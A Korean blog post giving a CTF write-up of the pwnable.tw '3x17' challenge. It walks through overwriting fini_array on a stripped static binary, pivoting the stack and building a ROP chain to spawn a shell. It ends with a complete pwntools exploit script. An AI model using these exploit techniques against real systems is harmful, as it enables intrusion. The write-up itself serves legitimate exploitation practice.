Recent Posts
Recent Comments
Link
«   2024/12   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[Pwnable.tw] 3x17 본문

Hack/Pwnable

[Pwnable.tw] 3x17

CIDY 2023. 7. 24. 15:28

mitigation

NX빼고 있는 게 없다. 독특한건 정적 바이너리임. got plt를 찾아볼수가 없음..

 

그냥 입력한 주소에 써주는거같은데 got overwrite하면 될듯? 이라기에는 static이다. orw해야하나? 아니면 static 바이너리의 경우 가젯이 엄청 많은걸 이용해서 일전에 3b syscall 이용해서 익스했던 적도 있으니 일단 이쪽으로 열어두고 생각해보자.

 

함수 쓸만한거 있는지 보고싶은데 p funcname해봐도 strip돼서 나오는게 없어 너무 답답하다 ㅋㅋ

 

그런데 main다시 돌게 못 해둔 거 보면 오히려 main을 여러번 돌도록 해야 할 것 같다. fini array같은거 덮으면 되나? static이면 참조 호출이 아니라 터지려나.. 흐름 보면 

 

음 뭐지 그냥 oow가 아닌가..? 그냥 썼더니 안 써진다. 내부 함수를 뜯으면 아이다로 살짝 더럽게 나와서 별로 안 보고싶은데..

 

아 그냥 슬쩍 봐보니까 문자열로 입력된 숫자를 찐 숫자로 바꿔주는 것 같다. 바이트가 아니고 그냥 문자열로 숫자를 입력해주면 될 듯.

 

그럼 최종익스는 어케하지? aaw가능하니까 어디에 ROP써놓고 수행시키면 될 것 같은데.. 일단 fini array를 덮어 샤샥 해버릴 수 있다는건 알았는데 스트립때문에 gdb로 디버깅이 빡세다. fini array실행 로직을 보고싶은데

 

일단 여기서 fini_array에 적힌 주소로 뛰는데 생각해보면 그냥 fini_array위치에 바로 rop구성하면 되는거 아닌가? 했는데 적으니까 터지넹.. 뭐 잘못했나..?

 

종료 루틴을 좀 자세히 봐야겠다.

좀 자세히 보면 여기서 call 0x402960을 하고 

 

여기서 call fini[1]을 하고 

 

잠시후에 ret해와서 다시 call fini[0]을 한다.

 

그러니까 fini[1] --> fini[0]이렇게 호출해주는듯?  그럼 fini[1]에 pass check를 넣고 fini[0]에 fini를 호출해주는 부분을 넣으면 계속 pass check를 호출할 수 있을 것 같은데, 문제가 정식으로 call main한 것이 아니라 align에 문제가 옴. 

 

그러다 생각해낸 게 그냥 fini[0]에 call fini넣고 fini[1]에 main넣는거였다. 그럼 바이트형으로 검사를 하니까 256번에 한번씩 정상적으로 if문 내부를 호출할 수 있다. ㅋㅋㅋㅋ어차피 if문 아니면 통과할 로직도 없으니까 금방 가능하지 않을까?

 

역시 예상대로 금방 됐고, 그럼 이제 bss영역으로 피보팅해야하는데 이게 fini[n]을 call하는 방식이라.. 어떻게 실행흐름을 옮길 수 있을까?

 

일단 call fini[n]을 할 때 rbp는 fini[0]을 가리킨다. 즉 그 상태에서 leave ret시키면 mov rsp, rbp ; pop rbp니까  rbp는 fini[0]에 든 값으로 바꿀 수 있고,  rsp가 fini[1]을 가리키도록 할 수 있다. 

 

와 근데 왜 마지막에 fini[1]없이 바로 fini[0]이 실행되지?? 했는데 생각해보니 메인 다음에 call_fini를 호출할 차례라서 rbx = 0인게 당연ㅋㅋ 그럼 한번에 샥 끝내야 하는데.. 

 

그럼 fini[0]에 leave; ret깔아두면 rsp가 fini[1]로 가서 거기로 ret할거니까 fini[1]에 ROP적어둔 주소 넣으면 되지 않을까 생각했는데 거기 bss주소를 적으면 안된다. 그냥 바로 코드가 적힌 주소를 넣어야함

 

그럼 그냥 fini+0x10부터 ROP를 구성해두고 fini[1]에는 마지막에 ret넣는식으로 해야 함

 

from pwn import *

main = 0x401b6d
passcheck = 0x401BA3
fini_array = 0x4b40f0
bss = 0x4b92e0
call_fini = 0x402960

#gadgets
pop_rdi = 0x401696
pop_rsi = 0x406c30
pop_rdx = 0x446e35
pop_rax = 0x41e4af
pop_rbp = 0x401b2d
syscall = 0x4022b4
leave_ret = 0x401c4b
add_rsp_8 = 0x45a18b

PIVOT = [p64(pop_rbp), p64(bss), p64(leave_ret)]
ROP = [p64(pop_rdi), p64(bss), p64(pop_rsi), p64(0), p64(pop_rdx), p64(0), p64(pop_rax), p64(0x3b), p64(syscall)]

def oow(addr, data):
	p.sendafter("addr:", str(addr).encode())
	p.sendafter("data:", data)

p = remote("chall.pwnable.tw", 10105)
#p = process("./3x17")

#loop main
oow(fini_array, p64(call_fini) + p64(main))
oow(bss, b"/bin/sh\x00")

for i in range(3):
	oow(fini_array + 0x10 + (i * 0x18), ROP[0 + 3 * i] + ROP[1 + 3 * i] + ROP[2 + 3 * i])

pause()
#stop loop
oow(fini_array, p64(leave_ret) + p64(pop_rdi + 1))

p.interactive()

 

flag

 

ez

'Hack > Pwnable' 카테고리의 다른 글

[System_Hacking] Leg2  (0) 2023.08.12
[Pwn + Crypto + Rev] Pyploit  (0) 2023.08.04
[Pwnable] Socket Programming  (0) 2023.04.05
[Pwnable.tw] BookWriter(Write-up, 오렌지농장)  (0) 2023.03.03
[Pwnable.tw] Secret Of My Heart(Write-up)  (2) 2023.02.28